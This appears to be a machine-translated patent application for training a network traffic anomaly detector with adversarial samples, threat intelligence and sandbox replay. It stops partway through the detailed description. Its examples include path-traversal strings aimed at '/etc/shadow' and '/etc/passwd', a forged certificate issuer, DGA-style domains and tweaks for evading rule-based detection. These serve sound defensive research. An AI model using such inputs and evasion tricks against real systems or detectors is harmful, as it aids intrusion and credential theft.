Network traffic anomaly detection model training method and device and readable storage medium

Abstract

The invention provides a network traffic anomaly detection model training method and device and a readable storage medium, and the method comprises the steps: extracting a traffic statistical feature vector according to original network traffic data, and generating an initial mixed data set; generating a confrontation disturbance sample output enhanced feature matrix based on the initial mixed data set; constructing a self-adaptive feature fusion rule based on the enhanced feature matrix, embedding asset association degree parameters into an attention calculation layer of a feature encoder, and outputting encoding features fusing threat intelligence; inputting the coding features fused with the threat intelligence into a pre-constructed initial detection model, generating false report and missing report correction labels based on the suspicious traffic fragments, and outputting an adversarial sample correction data set; and performing adversarial training on the initial detection model through the adversarial sample correction data set to obtain an incremental detection model for network traffic anomaly detection. According to the invention, the detection precision, the anti-interference capability and the real-time defense response capability of the detection model to novel attacks can be improved.

Description

Technical Field

[0001] The present application relates to the field of Internet technology, and in particular to a network traffic anomaly detection model training method, device, and readable storage medium. Background Art

[0002] Existing network traffic anomaly detection technologies are difficult to deal with adversarial attacks (such as traffic feature perturbations and encrypted channel disguises) and have the following main flaws:

[0003] Traditional methods rely on fixed rules or shallow statistical features (such as IP addresses and packet lengths) and are unable to capture the contextual associations of cross-protocol behaviors (such as the linkage between HTTP requests and DNS anomalies).

[0004] For example, an attacker may use DNS to resolve an abnormal domain name but there is no corresponding HTTP access. Traditional detection cannot associate this abnormal linkage.

[0005] Furthermore, its ability to deeply analyze encrypted traffic features is weak. For example, when a malicious path ".. / etc / shadow" is hidden in an HTTPS encrypted payload, detection fails due to inability to decrypt it. Methods based on static threat intelligence libraries (such as fixed CVE rules) are often updated latently and lack dynamic attenuation mechanisms. For example, a new attack modifies the CVE-2023 vulnerability signature to bypass detection, while outdated vulnerability intelligence still causes false positives in legitimate systems, interfering with real-time detection accuracy.

[0006] Therefore, how to improve the detection accuracy of abnormal traffic has become a problem that needs to be solved. Summary of the Invention

[0007] The technical problem to be solved by this application is to provide a network traffic anomaly detection model training method, device and readable storage medium to solve the problems existing in the prior art.

[0008] In a first aspect, the present application provides a network traffic anomaly detection model training method, the method comprising:

[0009] S1, extracting traffic statistical feature vectors based on the original network traffic data to generate an initial mixed data set;

[0010] S2. Generate an adversarial perturbation sample based on the initial mixed data set, fuse normal traffic, known attack traffic, and the adversarial perturbation sample in a dynamic time series ratio, and output an enhanced feature matrix;

[0011] S3. Constructing an adaptive feature fusion rule based on the enhanced feature matrix, embedding the asset correlation parameter into the attention calculation layer of the feature encoder, and outputting the encoded features of the fused threat intelligence;

[0012] S4. Input the encoded features of the fused threat intelligence into a pre-built initial detection model, generate false positive and false negative correction labels based on suspicious traffic segments, and output an adversarial sample correction dataset;

[0013] S5. Perform adversarial training on the initial detection model using the adversarial sample correction data set to obtain an incremental detection model for network traffic anomaly detection.

[0014] In some embodiments, S1 includes:

[0015] S11. Obtaining original network traffic data and dividing the original network traffic data into segments of fixed length based on a sliding time window, wherein a real-time status matrix of a routing device interface is synchronously parsed within each time window;

[0016] S12. Correlate subnet session topology relationships based on the real-time state matrix and extract the hop count and path delay of cross-device sessions within the subnet;

[0017] S13. Based on the hop count and path delay of cross-device sessions within the subnet, multi-dimensional statistical features are extracted from the traffic segments within each time window. Combined with the binary entropy features of the packet payload and the session context metadata, an initial hybrid dataset containing raw network traffic data, topology status indicators, and cross-protocol behavior associations is generated.

[0018] In some embodiments, at least one of the following is included:

[0019] The real-time status matrix includes at least one of the bandwidth utilization, packet loss rate, cyclic redundancy check (CRC) error rate and interface traffic direction of the interface;

[0020] The subnet session topology relationship includes at least one of a source-destination Internet Protocol (IP) mapping, a protocol type, a session duration, and a session state;

[0021] The multi-dimensional statistical features include at least one of the skewness and kurtosis of data packet length distribution, protocol distribution entropy value, exponential smoothing value of traffic burst intensity, and cosine similarity of cross-protocol session correlation.

[0022] In some embodiments, S2 includes:

[0023] S21, performing protocol parsing and reorganization on the initial mixed data set to construct a session flow with complete application layer semantics;

[0024] S22: Based on the semantically complete conversation flow at the application layer, extract the contextual behavior sequence of the application layer payload, generate the behavior semantic vector, and use the multi-head attention mechanism to focus on high-frequency abnormal behavior segments;

[0025] S23, perturb the normal traffic feature vector based on the behavior semantic vector to generate an adversarial perturbation sample;

[0026] S24. Based on the real-time attack alarm frequency and historical attack distribution of high-frequency abnormal behavior segments, determine the fusion weights of normal traffic, known attack traffic, and adversarial samples, and map the normal traffic, known attack traffic, and adversarial samples to a unified feature space according to the determined weights to generate fused features;

[0027] S25. Perform noise reduction and spatiotemporal correlation analysis on the fused features to extract the periodic pattern of traffic in the time dimension and the protocol interaction dependency in the spatial dimension, and output the enhanced feature matrix of spatiotemporal correlation.

[0028] In some embodiments, at least one of the following is included:

[0029] The reconstructed content includes at least one of a Hypertext Transfer Protocol (HTTP) header and payload, a Domain Name System (DNS) query response message, and a Transport Layer Security (TLS) / Secure Sockets Layer (SSL) handshake protocol field;

[0030] The context behavior sequence of the application layer payload includes at least one of the jump mode of the HTTP request path, the DNS domain name generation algorithm characteristics, and the TLS certificate chain anomaly;

[0031] Based on the behavior semantic vector, the fast gradient sign method is used to impose perturbations on the normal traffic feature vector, where the perturbation intensity is dynamically adjusted according to the current network baseline traffic fluctuation rate.

[0032] In some embodiments, S3 includes:

[0033] S31. Match vulnerability fingerprint features from a real-time threat intelligence library according to the enhanced feature matrix;

[0034] S32. Determine the freshness index of the attack pattern based on the vulnerability fingerprint characteristics, and dynamically downgrade intelligence that exceeds the preset time limit;

[0035] S33. Generate dynamic intelligence confidence parameters based on vulnerability fingerprint characteristics and freshness indicators, combined with intelligence source credibility and vulnerability verification status;

[0036] S34. Based on the freshness index and confidence parameter, an adaptive feature fusion rule is constructed, and the enhanced feature matrix and threat intelligence features are multimodally aligned and normalized by weighted Euclidean distance to generate multi-source threat context features.

[0037] S35. Based on multi-source threat context features, the asset correlation parameters are embedded in the multi-head attention mechanism of the feature encoder. The traffic feature aggregation strength of priority assets is dynamically allocated through the attention mechanism, and the encoding features that integrate real-time threat intelligence, asset context and spatiotemporal traffic features are output.

[0038] In some embodiments, at least one of the following is included:

[0039] The vulnerability fingerprint feature includes at least one of a vulnerability exploitation code snippet associated with a Common Vulnerability Exposure (CVE) number, an attack chain stage identifier, and a process behavior pattern of a compromised host;

[0040] The asset relevance parameter is dynamically determined based on asset type, business criticality, and historical compromise records.

[0041] In some embodiments, S4 includes:

[0042] S41. Based on the coding features of the fused threat intelligence, an initial detection model is constructed, and the coding features are input into the initial detection model to generate an attack probability prediction result for the traffic segment;

[0043] S42. Based on the attack probability prediction results of the traffic segments, determine suspicious traffic segments whose attack probability exceeds a preset value, and import the suspicious traffic segments into the sandbox environment for dynamic replay;

[0044] S43. Analyze the encrypted traffic in the sandbox environment to obtain decrypted traffic characteristics;

[0045] S44. Based on the decrypted traffic characteristics, match the typical pattern of the lateral movement behavior chain and obtain the stage integrity result of the matched behavior chain;

[0046] S45, comparing the integrity result of the matched behavior chain stage with the attack probability prediction result of the traffic segment to generate a correction label;

[0047] S46. Generate an adversarial sample correction dataset containing spatiotemporal features, threat intelligence, and behavior chain context based on the correction labels and adversarial perturbation samples.

[0048] In some embodiments, at least one of the following is included:

[0049] Parsing encrypted traffic includes at least one of decrypting a TLS / SSL session and extracting a sensitive sequence of operations in an encrypted payload;

[0050] The typical pattern of the lateral movement behavior chain includes at least one of an initial intrusion stage, a lateral movement stage, and a data exfiltration stage.

[0051] In some embodiments, S5 includes:

[0052] S51, constructing a dual-channel loss function based on the adversarial sample correction dataset;

[0053] S52, parameter update strategy of dynamic decoupling feature extractor and classifier based on dual-channel loss function;

[0054] S53. Iteratively optimize the detection model parameters through adversarial training, stop training when the rate of change of the dual-channel loss function is less than a preset threshold, and obtain the incremental detection model.

[0055] In some embodiments, the dual-channel loss function includes:

[0056] Channel 1: Based on the confidence parameters of threat intelligence, adjust the priority of loss calculation for samples associated with verified threat intelligence according to the confidence ratio;

[0057] Channel 2: Based on the integrity of the behavior chain verified by the sandbox, the calculation weight of the classification loss is adjusted for samples that contain complete attack chain stages.

[0058] In some embodiments, it further includes:

[0059] S6. Deploy the incremental detection model to the network traffic monitoring node, receive the new attack feature vector and the updated threat intelligence feature library, and build a feature memory matrix of the historical attack pattern. Feed the feature memory matrix back to the initial mixed data set generation process to form a dynamic adversarial training closed loop.

[0060] In some embodiments, S6 includes:

[0061] S61, deploying the incremental detection model to a network traffic monitoring node to receive new attack feature vectors and updated threat intelligence database content in real time;

[0062] S62. Based on new attack feature vectors and updated content in the threat intelligence library, a feature memory matrix of historical attack patterns is constructed, and spatiotemporal features, threat intelligence fingerprints, and behavior chain patterns are stored by attack type.

[0063] S63. Feed the feature memory matrix back to the initial mixed data set generation process, and realize the dynamic adversarial training closed loop by periodically retraining and updating the detection model parameters.

[0064] In a second aspect, the present application provides a network traffic anomaly detection model training device, the device comprising:

[0065] a data modeling module configured to extract traffic statistical feature vectors based on the original network traffic data to generate an initial mixed data set;

[0066] a protocol parsing module configured to generate an adversarial perturbation sample based on the initial mixed data set, fuse normal traffic, known attack traffic, and the adversarial perturbation sample in a dynamic time series ratio, and output an enhanced feature matrix;

[0067] a feature fusion module configured to construct an adaptive feature fusion rule based on the enhanced feature matrix, embed the asset association parameter into the attention calculation layer of the feature encoder, and output the encoded features of the fused threat intelligence;

[0068] a sandbox analysis module configured to input the encoded features of the fused threat intelligence into a pre-built initial detection model, generate false positive and false negative correction labels based on suspicious traffic segments, and output a correction dataset of adversarial samples;

[0069] The adversarial training module is configured to perform adversarial training on the initial detection model using the adversarial sample correction data set to obtain an incremental detection model for network traffic anomaly detection.

[0070] In some embodiments, it further includes:

[0071] A closed-loop evolution module is configured to deploy the incremental detection model to a network traffic monitoring node, receive new attack feature vectors and an updated threat intelligence feature library, and construct a feature memory matrix of historical attack patterns. The feature memory matrix is ​​fed back to the initial mixed data set generation process to form a dynamic adversarial training closed loop.

[0072] In a third aspect, the present application provides a network traffic anomaly detection model training device, comprising a memory and a processor, wherein the memory stores a computer program, and the processor is configured to run the computer program to implement the network traffic anomaly detection model training method described in the first aspect above.

[0073] In a fourth aspect, the present application provides a computer-readable storage medium having a computer program stored thereon, and when the computer program is executed by a processor, the network traffic anomaly detection model training method described in the first aspect above is implemented.

[0074] The present application provides a network traffic anomaly detection model training method, device and readable storage medium, the method comprising: extracting traffic statistical feature vectors based on original network traffic data to generate an initial mixed data set; generating adversarial perturbation samples based on the initial mixed data set, fusing normal traffic, known attack traffic and the adversarial perturbation samples in a dynamic time series ratio, and outputting an enhanced feature matrix; constructing adaptive feature fusion rules based on the enhanced feature matrix, and embedding asset correlation parameters into the attention calculation layer of the feature encoder to output the encoding features of the fused threat intelligence; inputting the encoding features of the fused threat intelligence into a pre-built initial detection model, generating false positive and false negative correction labels based on suspicious traffic segments, and outputting an adversarial sample correction data set; performing adversarial training on the initial detection model through the adversarial sample correction data set to obtain an incremental detection model for network traffic anomaly detection. The present application provides a network traffic anomaly detection model training method, which, compared with the existing technology, can improve the detection accuracy, anti-interference ability and real-time defense response ability of the detection model to new attacks. BRIEF DESCRIPTION OF THE DRAWINGS

[0075] The accompanying drawings, which are incorporated in and constitute a part of this specification, illustrate embodiments consistent with the present application and, together with the description, serve to explain the principles of the present application.

[0076] Figure 1 A flowchart of a network traffic anomaly detection model training method provided in an embodiment of the present application;

[0077] Figure 2 A flowchart of another network traffic anomaly detection model training method provided in an embodiment of the present application;

[0078] Figure 3 A schematic diagram of the structure of a network traffic anomaly detection model training device provided in an embodiment of the present application;

[0079] Figure 4 A schematic diagram of the structure of another network traffic anomaly detection model training device provided in an embodiment of the present application;

[0080] Figure 5 A structural diagram of another network traffic anomaly detection model training device provided in an embodiment of the present application.

[0081] The above drawings illustrate specific embodiments of the present application, which will be described in more detail below. These drawings and the textual description are not intended to limit the scope of the present application in any way, but rather to illustrate the concepts of the present application to those skilled in the art by reference to specific embodiments. DETAILED DESCRIPTION

[0082] In order to enable those skilled in the art to better understand the technical solution of the present application, the implementation methods of the present application will be further described in detail below with reference to the accompanying drawings.

[0083] It should be understood that the specific embodiments and drawings described herein are only used to explain the present application, rather than to limit the present application.

[0084] It can be understood that, in the absence of conflict, the various embodiments and features in the embodiments of the present application can be combined with each other.

[0085] It will be understood that, for the sake of ease of description, the drawings of this application only show the parts related to this application, while the parts not related to this application are not shown in the drawings.

[0086] It can be understood that each unit and module involved in the embodiments of the present application may correspond to only one physical structure, or may be composed of multiple physical structures, or multiple units and modules may be integrated into one physical structure.

[0087] It can be understood that the terms "first", "second", etc. in the embodiments of the present application are used to distinguish different objects, or to distinguish different processing of the same object, rather than to describe a specific order of objects.

[0088] It is understandable that, in the absence of conflict, the functions and steps marked in the flowcharts and block diagrams of the present application may occur in an order different from that marked in the drawings.

[0089] It is understood that the flowcharts and block diagrams of the present application illustrate the possible architectures, functions, and operations of the systems, devices, equipment, and methods according to the various embodiments of the present application. Each box in the flowchart or block diagram may represent a unit, module, program segment, or code, which contains executable instructions for implementing the specified functions. Moreover, each box or combination of boxes in the block diagram and flowchart may be implemented by a hardware-based system that implements the specified functions, or by a combination of hardware and computer instructions.

[0090] It can be understood that the units and modules involved in the embodiments of the present application can be implemented by software or hardware, for example, the units and modules can be located in a processor.

[0091] This invention improves the detection accuracy, anti-interference capability and real-time responsiveness of adversarial attacks through multi-stage data modeling, protocol analysis, feature fusion, sandbox analysis, adversarial training and dynamic closed-loop mechanism, forming a complete intelligent detection system covering "data generation-model optimization-defense evolution".

[0092] The following specific embodiments describe in detail the technical solution of the present application and how the technical solution of the present application solves the above-mentioned technical problems. The following specific embodiments can be combined with each other, and the same or similar concepts or processes may not be repeated in some embodiments. The embodiments of the present application will be described below in conjunction with the accompanying drawings.

[0093] The present application provides a network traffic anomaly detection model training method for adversarial attacks. The working process of the method can be implemented by electronic devices, such as computers, handheld smart terminals, etc. For the convenience of explanation, the embodiments of the present application are described with the method execution subject as a computer.

[0094] Figure 1 A schematic diagram of a network traffic anomaly detection model training method for adversarial attacks provided in an embodiment of the present application is shown in FIG. Figure 1 As shown, the present application provides a network traffic anomaly detection model training method, the method comprising steps S1-S5, specifically as follows:

[0095] S1, extracting traffic statistical feature vectors based on the original network traffic data to generate an initial mixed data set;

[0096] This step obtains the original network traffic data, analyzes the relationship between the routing device interface state matrix and the subnet session topology, extracts the traffic statistical feature vector, and generates an initial mixed data set.

[0097] In some embodiments, S1 includes:

[0098] S11. Obtaining original network traffic data and dividing the original network traffic data into segments of fixed length based on a sliding time window, wherein a real-time status matrix of a routing device interface is synchronously parsed within each time window;

[0099] Optionally, the real-time status matrix includes at least one of the bandwidth utilization, packet loss rate, CRC (Cyclic Redundancy Check) error rate, and interface traffic direction of the interface;

[0100] Specifically, full traffic data packets are collected through a mirrored traffic capture device, and the traffic is divided into fixed-length segments based on a sliding time window. Within each time window, the real-time status matrix of the routing device interface is synchronously analyzed, including the interface's bandwidth utilization, packet loss rate, CRC error rate, and interface traffic direction;

[0101] S12. Correlate subnet session topology relationships based on the real-time state matrix and extract the hop count and path delay of cross-device sessions within the subnet;

[0102] Optionally, the subnet session topology relationship includes at least one of a source-destination IP (Internet Protocol) mapping, a protocol type, a session duration, and a session state;

[0103] Specifically, based on the real-time state matrix, the source-destination IP mapping, protocol type, session duration, and session state in the subnet session topology are correlated, and the hop count and path delay of cross-device sessions within the subnet are extracted;

[0104] S13. Based on the hop count and path delay of cross-device sessions within the subnet, multi-dimensional statistical features are extracted from the traffic segments within each time window. Combined with the binary entropy features of the packet payload and the session context metadata, an initial hybrid dataset containing raw network traffic data, topology status indicators, and cross-protocol behavior associations is generated.

[0105] Optionally, the multi-dimensional statistical features include at least one of the skewness and kurtosis of the data packet length distribution, the protocol distribution entropy value, the exponential smoothing value of the traffic burst intensity, and the cosine similarity of the cross-protocol session correlation.

[0106] Specifically, based on the number of hops and path delay of cross-device sessions within the subnet, multi-dimensional statistical features are extracted from the traffic segments within each time window, including the skewness and kurtosis of the packet length distribution, the protocol distribution entropy value, the exponential smoothing value of the traffic burst intensity, and the cosine similarity of the cross-protocol session correlation. Combined with the binary entropy features of the packet payload and the session context metadata, an initial mixed data set containing raw traffic data, topology status indicators and cross-protocol behavior correlation is generated.

[0107] This application uses mirrored traffic capture devices, such as splitters, TAP (Test Access Point, also known as network splitters), etc., to copy the traffic data in the network link in real time and fully obtain the link layer, network layer and transport layer information of the data packet (such as Ethernet frame header, IP packet header, TCP / UDP port number). Set a sliding window of fixed length (such as 5 minutes, 1 hour) to cut continuous traffic into independent analysis units. For example, use 1 hour as a window and divide the traffic by natural hour, or use overlapping windows (such as a step size of 30 minutes) to capture the continuity of characteristics of adjacent time periods. Each window corresponds to an analysis period, which is used to count the traffic characteristics (such as bandwidth, number of sessions) within the period.

[0108] The parameters in the real-time status matrix are explained as follows:

[0109] (1) Bandwidth utilization: Calculate the ratio of the actual transmission rate of the interface within the window to the maximum bandwidth (e.g., if the maximum bandwidth of the interface is 1 Gbps and the measured rate is 800 Mbps, the utilization is 80%).

[0110] (2) Packet loss rate: The ratio of the number of discarded packets to the total number of received packets within the statistical window (e.g., if 10,000 packets are received and 50 are discarded, the packet loss rate is 0.5%).

[0111] (3) CRC error rate: Detects physical layer transmission errors and calculates the percentage of data packets that fail CRC check (e.g., if 10 CRC errors are found in 1000 packets, the error rate is 1%).

[0112] (4) Traffic direction: Distinguish between ingress and egress traffic, and count the rate, number of packets, and protocol distribution of bidirectional traffic (e.g., ingress traffic accounts for 60% and egress traffic accounts for 40%).

[0113] In this application, for step S12, all sessions in the window are traversed, a mapping relationship between the source IP and the destination IP is established, and the interaction frequency (such as 100 communications per hour) and data transmission volume (such as 10GB transmission) of each pair of IPs are counted. The session protocol type is identified according to the IP protocol number (such as TCP=6, UDP=17) or the port number (such as 80=HTTP, 443=HTTPS), and the traffic proportion of each protocol is counted (such as HTTP accounts for 50%, DNS accounts for 10%). The duration of a single session from establishment to end is calculated (such as a short connection session lasts 1 second, and a long connection lasts 1 hour). The status code of the TCP session is recorded (such as SYN indicates a connection request, ESTABLISHED indicates that the connection has been established), and abnormal interruptions in the session life cycle are analyzed (such as a large number of SYN packets that have not completed the three-way handshake). By tracking the changes in the TTL value of the IP data packet (such as TTL decreasing from 64 to 62, indicating that it has passed through 2 intermediate devices) or the route tracking tool (Traceroute), the number of network nodes passed by the session is determined to reflect the topological complexity. Use ICMP echo request (Ping) or TCP timestamp option to measure the round-trip delay (RTT) between the source IP and the destination IP. If the delay is 10ms, it means that the network path responds quickly.

[0114] In this application, for step S13, the multi-dimensional statistical features include the skewness and kurtosis of the data packet length distribution, where:

[0115] Skewness: Calculates the skewness of the packet length distribution to measure the symmetry of the data distribution. A positive skewness indicates a high proportion of large packets (such as in file transfer scenarios), while a negative skewness indicates a high proportion of small packets (such as in instant messaging scenarios).

[0116] Kurtosis: Calculates the kurtosis value of the data packet length distribution. A high kurtosis indicates the presence of abnormal packets (such as a large number of small packets or a large packet appearing in a concentrated manner).

[0117] In this application, for step S13, the multi-dimensional statistical features include the protocol distribution entropy value. This application uses the Shannon entropy formula to calculate the diversity of protocol types within the window:

[0118] H=-∑(p i log2p i )

[0119]

[0120] Among them, p i is the traffic proportion of the i-th protocol; H is the entropy value of the protocol distribution. The higher the entropy value, the more complex the protocol type (such as the mixed use of HTTP, DNS, SMB and other protocols).

[0121] In this application, for step S13, the multi-dimensional statistical features include the exponential smoothing value of the traffic burst intensity. This application uses the exponential smoothing method to calculate the short-term trend of the traffic rate, namely:

[0122] S t =α×x t +(1-α)×S t-1

[0123] Where α is the smoothing coefficient (weight factor), α = 0.2 (default medium sensitivity), which can be dynamically adjusted according to the network environment; the value range is 0≤α≤1, the larger α is (such as close to 1), the closer the current measured value x is t The greater the impact on the smoothing result, the more sensitive the detection model is to recent changes and the more suitable it is for capturing burst traffic. The smaller α is (such as close to 0), the smaller the historical smoothing value S is. t-1 The larger the weight of x, the more the detection model relies on historical trends and is suitable for filtering short-term fluctuations; t is the current window rate (such as the average bps value in the current 5-minute window), S t is the smoothed value of the traffic rate at the current moment, S t-1 Indicates the smoothed traffic rate at the previous moment. Burst intensity is the degree of deviation between the current smoothed value and the historical average and is used to identify abnormal traffic surges.

[0124] In this application, for step S13, the multi-dimensional statistical features include the cosine similarity of the cross-protocol session correlation. This application vectorizes the protocol session sequence (such as One-Hot encoding) and measures the correlation of protocol interaction patterns (such as the co-occurrence of HTTP and DNS sessions) through cosine similarity.

[0125] In the present application, for step S13, binary entropy characteristics of the data packet payload: calculate the byte distribution entropy of the data packet payload, and a high entropy value indicates encrypted or random data.

[0126] In this application, for step S13, session context metadata: extract metadata such as the source port, destination port, domain name (such as DNS resolution result), TLS certificate information, etc. of the session to enrich the feature dimension.

[0127] This application combines the physical layer interface status (bandwidth, packet loss), network layer session topology (IP mapping, protocol type) and application layer metadata (load entropy, domain name) to build a hierarchical feature system, covering the entire chain of attack characterization from bottom-level device anomalies to upper-level application behavior, solving the one-sidedness of traditional single-dimensional detection (such as analyzing only traffic rate). The sliding window mechanism realizes the time-series dynamic analysis of traffic, which can identify periodic attacks (such as scheduled scanning) or burst attacks (such as DDoS); the hop count and delay characteristics of cross-device sessions reflect the network topology and help locate key nodes in the attack path. Statistical indicators such as skewness, kurtosis, and entropy quantify the abnormality of traffic distribution and effectively identify low-rate but structurally abnormal attacks (such as slow-rate penetration); cross-protocol correlation and load entropy characteristics deeply explore covert channels (such as using DNS to transmit malicious data) and improve the ability to detect new attacks. Based on the self-learning mechanism comparison of real-time interface status and historical baselines, the detection threshold is dynamically adjusted to reduce false alarms caused by network load fluctuations; combined with asset correlation, priority is given to traffic anomalies of high-value assets to improve detection targeting.

[0128] In summary, based on the processing flow described in step S1, this application breaks through the limitations of traditional single-flow analysis by analyzing the routing interface status and subnet topology to capture the spatial correlation characteristics of traffic (such as abnormal cross-subnet conversations). By integrating the statistical characteristics of normal traffic and known attacks (such as traffic peaks and protocol distribution), we construct an initial dataset that is close to the real network environment, providing rich learning samples for the model.

[0129] S2. Generate an adversarial perturbation sample based on the initial mixed data set, fuse normal traffic, known attack traffic, and the adversarial perturbation sample in a dynamic time series ratio, and output an enhanced feature matrix;

[0130] This step performs protocol parsing and reorganization on the initial mixed dataset, extracts the contextual behavior sequence of the application layer payload, generates adversarial perturbation samples, and fuses normal traffic, known attack traffic, and adversarial samples in a dynamic time series ratio to output an enhanced feature matrix.

[0131] In some embodiments, S2 includes:

[0132] S21, performing protocol parsing and reorganization on the initial mixed data set to construct a session flow with complete application layer semantics;

[0133] Optionally, the reconstructed content includes at least one of an HTTP (HyperText Transfer Protocol) header and payload content, a Domain Name System (DNS) query response message, and a TLS (Transport Layer Security) / SSL (Secure Sockets Layer) handshake protocol field;

[0134] Specifically, we perform deep protocol parsing on the traffic in the initial mixed dataset, reconstruct the HTTP protocol header and payload content, DNS query response message, and TLS / SSL handshake protocol fields, and construct a session flow with complete application layer semantics.

[0135] S22: Based on the semantically complete conversation flow at the application layer, extract the contextual behavior sequence of the application layer payload, generate the behavior semantic vector, and use the multi-head attention mechanism to focus on high-frequency abnormal behavior segments;

[0136] Optionally, the context behavior sequence of the application layer payload includes at least one of a jump pattern of an HTTP request path, a DNS (Domain Name System) domain name generation algorithm feature, and a TLS certificate chain anomaly;

[0137] Specifically, using the semantically complete conversation flow at the application layer, a bidirectional LSTM (Long Short-Term Memory) network is used to extract the contextual behavior sequence of the application layer payload, including the jump pattern of the HTTP request path, the characteristics of the DNS domain name generation algorithm, and TLS certificate chain anomalies. This behavior semantic vector is then generated, and a multi-head attention mechanism is used to focus on high-frequency abnormal behavior fragments.

[0138] S23, perturb the normal traffic feature vector based on the behavior semantic vector to generate an adversarial perturbation sample;

[0139] Optionally, based on the behavior semantic vector, a fast gradient sign method is used to impose perturbations on the normal traffic feature vector, wherein the perturbation intensity is dynamically adjusted according to the current network baseline traffic fluctuation rate.

[0140] Specifically, based on the behavior semantic vector, the fast gradient sign method is used to perturb the normal traffic feature vector, and the perturbation intensity is dynamically adjusted according to the current network baseline traffic fluctuation rate to generate adversarial perturbation samples;

[0141] S24. Based on the real-time attack alarm frequency and historical attack distribution of high-frequency abnormal behavior segments, determine the fusion weights of normal traffic, known attack traffic, and adversarial samples, and map the normal traffic, known attack traffic, and adversarial samples to a unified feature space according to the determined weights to generate fused features;

[0142] Specifically, a dynamic time series proportional controller is used to calculate the fusion weights of normal traffic, known attack traffic, and adversarial samples based on the real-time attack alarm frequency and historical attack distribution of high-frequency abnormal behavior fragments. The three types of data are then mapped to a unified feature space according to the weights to generate fused features.

[0143] S25. Perform noise reduction and spatiotemporal correlation analysis on the fused features to extract the periodic pattern of traffic in the time dimension and the protocol interaction dependency in the spatial dimension, and output the enhanced feature matrix of spatiotemporal correlation.

[0144] Specifically, a convolutional autoencoder is used to perform noise reduction and spatiotemporal correlation analysis on the fused features, extract the periodic pattern of traffic in the time dimension and the protocol interaction dependency in the spatial dimension, and output an enhanced feature matrix of spatiotemporal correlation.

[0145] In this application, for step S21, for each traffic segment in the initial mixed data set, the key fields of the following protocols are parsed:

[0146] HTTP protocol: Reorganizes the request line (Method, URI, Version), request headers (such as User-Agent, Referer), request payload (POST data), and response status code to build a complete HTTP session flow (such as identifying the resource path of a GET request and the form data submitted by POST).

[0147] DNS protocol: parses query messages (domain name, query type) and response messages (IP address, TTL value), and identifies the domain name resolution process (such as determining whether it is a wildcard resolution or an abnormal domain name request).

[0148] TLS / SSL protocol: Extracts certificate information (issuer, validity period, public key), encryption algorithms (such as AES-GCM), and session key negotiation during the handshake phase, and identifies certificate chain anomalies (such as self-signed certificates and expired certificates).

[0149] Fragmented packets are associated by five-tuple (source IP, source port, destination IP, destination port, protocol) and reassembled into a complete application layer session flow. For example, multiple HTTP request-response pairs in the same TCP connection can be merged into a single session to record the complete business interaction process.

[0150] In this application, for step S22, the reorganized conversation flow is converted into a character-level or word vector sequence (such as dividing the HTTP URI path into tokens such as " / api / login" and " / user / profile") and input into a bidirectional LSTM network to capture contextual dependencies.

[0151] Output behavior semantic vector: Output a vector containing temporal features through the hidden layer state, for example:

[0152] HTTP request path redirection pattern: Identify the normal flow from " / login" to " / dashboard" or the abnormal path redirection from " / admin" to " / etc / passwd".

[0153] DNS domain name generation feature: Detects meaningless domain names (such as domain names with random character combinations) generated by DGA (domain name generation algorithm).

[0154] TLS certificate chain anomalies: Identify certificates with incomplete certificate chains or certificates issued by untrusted authorities.

[0155] Apply multi-head attention to the behavior semantic vector output by LSTM, focusing on high-frequency abnormal behavior segments according to different head weights. For example:

[0156] High weight is assigned to the " / phpmyadmin" request fragment that frequently appears in HTTP sessions to identify potential database attack attempts.

[0157] Abnormally high-frequency domain name resolution requests in DNS sessions (such as resolving 1,000 different domain names per minute) are marked as suspicious behavior.

[0158] In this application, for step S23, the loss function is an indicator that measures the difference between the model's prediction and the true label. For example, when the model misclassifies normal traffic as an attack, the loss function value will increase. The gradient is like an "error compass," pointing to the feature adjustment direction that makes the model most likely to misjudge. For example, if the model is sensitive to "HTTP request frequency," the gradient will prompt "increase this frequency." At this time, if the request frequency of normal traffic is increased from 5 times per second to 15 times per second, the model may misjudge it as an attack because this feature deviates from the normal range, exposing its excessive sensitivity to high-frequency requests.

[0159] Low baseline fluctuation (such as when the network is stable): The perturbation intensity ∈ is set to a small value (such as 0.01-0.03), and only minor modifications are made to the features, such as adding invisible characters to the end of the HTTP User-Agent field (such as Mozilla / 5.0\x01Chrome).

[0160] High baseline fluctuation (such as burst traffic): Increase ∈ to 0.08-0.1 and modify the characteristics. For example, adjust the TCP window size from a normal value to an abnormal value (such as a sudden drop from 65535 to 1024) to simulate slow attack characteristics.

[0161] Targeted perturbations at the protocol layer:

[0162] HTTP protocol: Modify the URI path case (such as changing " / api / login" to " / API / Login") or add invalid parameters (such as "?random=abc") to change the surface characteristics of the protocol semantics and bypass detection based on fixed rules.

[0163] DNS protocol: Generates high-entropy domain names (such as "x3a9.random.dga-domain.com" composed of random characters) with entropy values ​​exceeding normal thresholds (e.g., >5.5) to simulate the domain name characteristics of a DGA (Domain Generation Algorithm) attack.

[0164] TLS protocol: Replace the issuer in the certificate chain with an untrusted authority (such as forged as "CN=HackedCA"), but retain the legitimacy of the certificate format to test the model's ability to identify abnormal certificate chains.

[0165] In this application, for step S24, the number of alarms C for a certain type of attack (such as SQL injection) in the current hour is counted and compared with the historical 24-hour average number Cavg:

[0166] If C ≥ 1.5 × Cavg (attack active): The combined weight of adversarial samples and known attack traffic is increased to 60%, with adversarial samples accounting for 40% and known attack traffic accounting for 20%. The weight of normal traffic is reduced to 40%, strengthening the learning of new attacks.

[0167] If C ≤ 0.5 × C avg (low attack rate): the weight of adversarial samples is reduced to 20%, known attack traffic accounts for 40%, and normal traffic accounts for 40%, to avoid overfitting the model to rare attacks.

[0168] For example, if 15 DDoS alerts are detected in the current hour (the historical average is 10), the fusion ratio is: 40% adversarial samples, 20% known attack traffic, and 40% normal traffic.

[0169] Based on the proportion of attack types in the past 7 days (for example, DDoS accounts for 30%, penetration attacks account for 50%, and other accounts for 20%), the internal weight of known attack traffic is assigned:

[0170] Penetration attack samples account for 50% of known attack traffic (i.e., 25% of the total weight), DDoS samples account for 30% (15% of the total weight), and other attacks account for 20% (10% of the total weight).

[0171] Fusion ratio example: If historical attacks are mainly penetration attacks (50%), the total fusion ratio is: normal traffic 30%, known attack traffic 50% (including penetration attacks 25%, DDoS 15%, and other 10%), and adversarial samples 20%.

